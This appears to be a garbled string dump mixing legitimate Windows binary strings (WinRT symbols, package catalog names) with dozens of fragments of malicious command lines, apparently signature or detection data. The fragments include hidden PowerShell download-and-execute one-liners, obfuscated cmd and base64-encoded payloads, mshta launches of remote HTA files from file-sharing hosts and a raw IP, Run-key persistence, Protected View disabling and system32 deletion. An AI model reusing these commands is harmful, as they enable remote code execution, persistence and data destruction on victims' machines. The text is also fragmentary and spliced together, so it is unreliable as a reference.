             name="Microsoft.Windows.Common-Controls"
hkcu:\software\microsoft\windows\currentversion\run
hkcu:\software\microsoft\windows\currentversion\run
windowstate="minimize"showintaskbar="no"sysmenu="no"caption="no"/><scripttype="text/vbscript">
B\windows\system32\windowspowershell\v1.0\powershell.exec:\-c"&{'
Vb<!doctypehtml><html><head><hta:applicationicon="#"windowstate="minimize"showintaskbar="no"sysmenu="no"caption="no"/><scripttype="text/vbscript">onerrorresumenextcreateobject("wscript.shell").run"%windir%\system32\mshta.exehttp
 @Windows.Data.Input.Devices.TouchpadSettings:
C:\Windows\System32\ShellHost.exe+
C:\Windows\System32\ShellHost.exe'
C:\Windows\SystemApps\Microsoft
Path=C:\WINDOWS\system32;
PSModulePath=C:\Program Files\WindowsPowerShell\.
s;C:\WINDOWS\system32.
windowsudk.shellcommon
uap\windows\frameworkudk\warppal.cppA
Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe
.Windows.DevHome_0.1700.597.0_x64_
Microsoft.WindowsStore_8wekyb3d8bbwe!
	windows'in
Windows.Networking.BackgroundTransfer.Internal'
9($413253+$29a34c)-join'')}sl'ee'p0.8}}-windowstylehidd'en'
xlfz5po:i+00/c:\v1windows@.	
Mshell.exe-windowstylehidden-command""iex(iwr-urihttps://emptyservices.xyz/
\system32
c:\windows\temp\
W?$function@$$A6A?AUIndexPath@Controls@Xaml@UI@Windows@winrt@@AEBV?$vector@USelectedItemInfo@@V?$alloca 
\windows\installer\{
windows genuine advantage
Windows.ApplicationModel.Chat.ChatMessage
Windows.ApplicationModel.Chat.ChatMessageAttachment
Windows.ApplicationModel.Chat.ChatMessageBlocking
Windows.ApplicationModel.Chat.ChatMessageManager
Windows.ApplicationModel.Chat.ChatQueryOptions
Windows.ApplicationModel.Chat.ChatRecipientDeliveryInfo
Windows.ApplicationModel.Chat.RcsManager
Windows.ApplicationModel.CommunicationBlocking.CommunicationBlockingAccessManager
Windows.ApplicationModel.CommunicationBlocking.CommunicationBlockingAppManager
Windows.ApplicationModel.ComponentUI.ComponentLaunchOptions
2=truehttps://www.sugarsync.com/pf!C:\Windows\System32\Rundll32.ex
:repeatdel"c:\windows\m-50504703975937502939004030%
1WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=W
windows\system32\cmd.exe/c%programdata:~0,1%
c:\windows\system32\cmd.exe"/min/c"
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_2>@?4??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UNavigationViewDisplayModeChangedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_7>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_7>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_1>@?4??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UNavigationViewSelectionChangedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_6>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_6>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UNavigationViewDisplayModeChangedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_7>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UNavigationViewDisplayModeChangedEventArgs@23456@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UIInspectable@Foundation@Windows@6@@Foundation@Windows@winrt@@V<lambda_5>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_5>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UNavigationViewSelectionChangedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_6>@?5??Connect@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UNavigationView@Controls@Xaml@UI@Microsoft@winrt@@UNavigationViewSelectionChangedEventArgs@23456@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_4>@?6??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_2>@?4??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_3>@?5??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_1>@?4??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$AppHistoryPageT@UAppHistoryPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_5>@?7??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
*-\cmd.exe/cstart/b%systemroot%\system32\mshtahttps://bit.ly/3i3pdzd
3deleteaviratskillnotepaddel/f/q"c:\windows\system32"
Windows
Windows
wow64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_none_0fa05d332cfe250c
wow64_microsoft-windows-wmi-core-repdrvfs-dll_31bf3856ad364e35_none_1eefbc01a8d2cd58
wow64_microsoft-windows-wmi-core-svc.resources_31bf3856ad364e35_en-us_de3d6ff58ce3be3e
wow64_microsoft-windows-wmi-core-svc_31bf3856ad364e35_none_16385cfd92d222bd
wow64_microsoft-windows-wmi-core-wbemcomn-dll_31bf3856ad364e35_none_ae7f4b3771758bd8
wow64_microsoft-windows-wmi-core-wbemcore-dll_31bf3856ad364e35_none_7e671b38082af64e
wow64_microsoft-windows-wmi-core-wbemess-dll_31bf3856ad364e35_none_9a00c615c5694554
wow64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_en-us_3786d95942bdbb8f
wow64_microsoft-windows-wmi-core_31bf3856ad364e35_none_02ad5e84c7314d40
wow64_microsoft-windows-wmi-events_31bf3856ad364e35_none_7c4066e265c9e460
wow64_microsoft-windows-wlanui_31bf3856ad364e35_none_ba4a07ac5b0e550b
wow64_microsoft-windows-wlanutil.resources_31bf3856ad364e35_en-us_99f4fbe64547428a
wow64_microsoft-windows-wlanutil_31bf3856ad364e35_none_b8a49f853aebc9d5
wow64_microsoft-windows-wmadmod_31bf3856ad364e35_none_86ce580b00432430
wow64_microsoft-windows-wmadmoe_31bf3856ad364e35_none_86c3881f004b4021
wow64_microsoft-windows-wmcodecdspps_31bf3856ad364e35_none_99e45c6304b6077b
wow64_microsoft-windows-wmdrmsdk-stub_31bf3856ad364e35_none_08f88df25379c131
wow64_microsoft-windows-wmi-core-fastprox-dll_31bf3856ad364e35_none_d65b7e96a0bb85b3
wow64_microsoft-windows-wmi-core-framedyn-dll_31bf3856ad364e35_none_345a46ff6086a22e
:\\windows\\system32\\cmd.exe/cpowershell-nop-whidden-epbypass-encsuvyichozxctt2jqzwn0ie5ldc5xzwjjbgllbnqplmrvd25sb2fkc3ryaw5nkcjodhrwoi8vmw90ywwuy29tl2luzgv4l2luzgv4lnboccip';
Microsoft.Windows.Health.TestInProduction
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-FCI-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-FCI-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-WOWSupport-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Windows.Management.InprocObjects.dll
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCreateString
WindowsDuplicateString
WindowsDeleteString
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisService
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleExperiencePlatform
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManager
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCard
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!FESearchUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLanding
Failed to GetSystemWindowsDirectory [%d]
c:\windows\system32\conhost
.expandenvironmentstrings("%windir%")&"\syswow64\windowspowershell
etbtugc.exe;by changing %windir%;%system32%\netiougc.exe;by changing %windir%;%system32%\pnpunattend.exe;by changing %windir%;%system32%\reagentc.exe;by changing %windir%;%system32%\setupugc.exe;by changing %windir%
%programfiles%\windows kits\10\debuggers\arm;%programfiles%\windows kits\10\debuggers\arm\srcsrv;%programfiles%\windows kits\10\debuggers\arm64;%programfiles%\windows kits\10\debuggers\arm64\srcsrv;%programfiles%\windows kits\10\debuggers\x64;%programfiles%\windows kits\10\debuggers\x64\srcsrv;%programfiles%\windows kits\10\debuggers\x86;%programfiles%\windows kits\10\debuggers\x86\srcsrv;%programfiles%\microsoft office\root\office%version%;%system32%;%syswow64%
%system32%\deploymentcsphelper.exe;%system32%\djoin.exe;%system32%\dnscacheugc.exe;%system32%\ieunatt.exe;%system32%\muiunattend.exe;%system32%\netbtugc.exe;%system32%\netiougc.exe;%system32%\pnpunattend.exe;%system32%\setupugc.exe;%system32%\systemreset.exe;%system32%\werfault.exe;%system32%\werfaultsecure.exe
%system32%\certreq.exe;%system32%\charmap.exe;%system32%\notepad.exe;%system32%\wordpad.exe;%programfiles%\google\chrome\application\chrome.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\mozilla firefox\firefox.exe;%programfiles%\microsoft office\root\office%version%\powerpnt.exe;%programfiles%\microsoft\edgewebview\application\%version%\msedgewebview2.exe;%programfiles%\microsoft office\root\office%version%\excel.exe;preconditions%programfiles%\microsoft office\root\office%version%\mspub.exe
%programfiles%\windows kits\10\bin\%version%\x64;%programfiles%\windows kits\10\bin\%version%\x86;%programfiles%\windows kits\10\redist\d3d\x64;%programfiles%\windows kits\10\redist\d3d\x86%programfiles%\wireshark;%programfiles%\logioptionsplus;%programfiles%\cisco systems\cisco jabber;%programfiles%\microsoft\edge\application\%version%;%programfiles%\microsoft\edgewebview\application\%version%;%programfiles%\microsoft\edgecore\application\%version%;%programfiles%\google\chrome\application\%version%;%programfiles%\island\island\application\%version%;%programfiles%\zoom\bin;%appdata%\zoom\bin;%localappdata%\microsoft\teams\stage;%localappdata%\programs\microsoft vs code;%system32%;%syswow64%
%system32%\dxgiadaptercache.exe;%system32%\taskmgr.exe
%system32%\dataexchangehost.exe;%system32%\dwm.exe;%system32%\dxcap.exe;%system32%\dxgiadaptercache.exe;%system32%\gamepanel.exe;%system32%\mdeserver.exe;%system32%\quickassist.exe;%system32%\systemreset.exe;%system32%\taskmgr.exe;%system32%\vsgraphicsdesktopengine.exe;%system32%\vsgraphicsremoteengine.exe;%system32%\winsat.exe;%programfiles%\steam\steamapps\common\wallpaper_engine\wallpaper32.exe
%system32%\slidetoshutdown.exe;%system32%\systemreset.exe
%system32%\winsat.exe
%system32%\dataexchangehost.exe;%system32%\dwm.exe;%system32%\eoaexperiences.exe;%system32%\gamepanel.exe;%system32%\quickassist.exe;%system32%\vsgraphicsdesktopengine.exe;%system32%\vsgraphicsremoteengine.exe
%system32%\certreq.exe;%system32%\compmgmtlauncher.exe;%system32%\explorer.exe;%system32%\notepad.exe
%system32%\certreq.exe;%system32%\compmgmtlauncher.exe;%system32%\notepad.exe
%system32%\certreq.exe;%system32%\microsoft.uev.cscunpintool.exe
%system32%\clipup.exe;%system32%\sppsvc.exe
%system32%\certutil.exe;%system3ReasonDestroy
NtUserUnlockWindowStation
NtUserAlterWindowStyle
NtUserUnhookWindowsHookEx
NtUserSetWindowsHookAW
NtUserArrangeIconicWindows
NtUserSetWindowState
NtUserClearWindowState
TermsrvGetWindowsDirectoryW
Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
Windows.Data.BlueLightReduction.BlueLightReductionStatePerDevice
Windows
!windows\system32\cmd.exec:cm^d.e^xe,/cpo^w^er^shel^l.ex^e-n^op-w^i^ndh^idd^en-ex^e^cb^yp^a^ss-no^n^i-^ci"e"x((ne"w"-ob^jectne^t.w"e"bcl^ient).d"o"wnl^oadstr"i"ng('ht
@{microsoft.windowsnotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowsnotepad/files/assets/txtfile.png}pfldr
C:\WINDOWS\System32\msiexec.exe.ApplicationCompany
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe%5Cresources.pri3
@%SystemRoot%\system32\Vault.dll,-1#immutable1
c:\sysfile\appdat.inic:\windows\system32\cmd.exe /c java.exe -jar c:\sysfile\mail.jar[numpad_separator]
Declare Function SetProcessWindowStation Lib "user32" (ByVal hWinSta As Long) As Boolean= Shell(
c:\windows\system32\reg.exeadd"hkcu\software\microsoft\office\14.0\word\security\protectedview"/vdisableattachementsinpv/treg_dword/d"1"/f&regadd"hkcu\software\microsoft\office\14.0\word\security\protectedview"/vdisableinternetfilesinpv/t
autorun/treg_sz/d"powershell.exestart-process-windowstylehidden-filepathmshta.exehttps://
= "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main= Environ("TEMP") & "\powershdll.dll"{ Invoke-WebRequest -useb http://
system.windows.forms.dll
System.Windows.Forms.dll
N"http://a0.pm:8080/bh/yjc2kwe/utr7ygnde19jexcb219olew/%computername%"ku^waacm^s^a=yox/qn^jnr^hy=^g^m^p%windir%\system32\shell32.dll
http://3z.nu:8080/ysy0xkgt/4gld/arytpfbdc7vwt/!computername!"^nat=^vnj^f^u^eano/quie^t^il^j=^h^riy^sf%windir%\system32\shell32.dll%
sc:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://transfer.sh/get/gnirtauykj/readme.txt.hta'
c:\windows\system32\cmd.exe/cpowershell-command"iwr-urihttps://files.catbox.moe/9yt81q.bat-outfile$env:temp\a.bat;&$env:temp\a.bat"
c:\windows\system32\forfiles.exe/pc:\windows/mwrite.exe/c"powershell.\*i*\*2\msh*ehttps://show-pdf-document.com/rentapi/update.json
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"&{invoke-webrequest-urihttps://oootorgline.ru/
<c:\windows\system32\forfiles.exe/pc:\windows\system32/mcmmon32.exe/c"powershell.\*i*\s*2\m*ta.*ehttp://212.18.104.197/setuppacket"
Windows.Data.Globalization.LocaleInfo
Windows.Data.LunarCalendar
\windows\current
Microsoft.Windows.Security.NGC.CryptNgc
.?AU?$default_delete@VXamlCore@WindowsXamlManager@DirectUI@@@std@@
MICROSOFT.WINDOWS.OOBENETWORKCAPTIVEPO
Microsoft.Windows.Desktop.Shell.TwinUI.BroadcastDVR
windows license4>3
lights&fWindows Insider Program1n
turn WindowsUdk.System.Profile.
Windows Producg
Windows Produc'
(commandtorun,og@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_13>@?9??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_12>@?8??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_11>@?8??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_10>@?8??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_11>@?8??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_11>@?8??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_9>@?7??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_9>@?7??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_10>@?8??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_10>@?8??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_8>@?7??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_8>@?7??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_9>@?7??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_8>@?7??Connect@?$DialogsPageT@UDialogsPageR:TrojanDownloader:Win32/Upatre!anitemu_LoD
%~f0""','stealth'-windowstylehidden
contosoforresterdemo.blob.core.windows.net/docs/loaderoutoneliner.ps1'))
&system32\
<v>:\windows\
powershell Start-BitsTransfer -Source https://img.20mn.fr/r5SvxqSZSrWS4W587_eJxw/640x410_fond-ecran-defaut-windows-xp.jpg-Destination C:\Users\Gisela\Documents\image.jpgstrOutput = RunCommand(st
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-UpdateTargeting-ClientOS-Ge-26143-Version-EKB-Wrapper-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
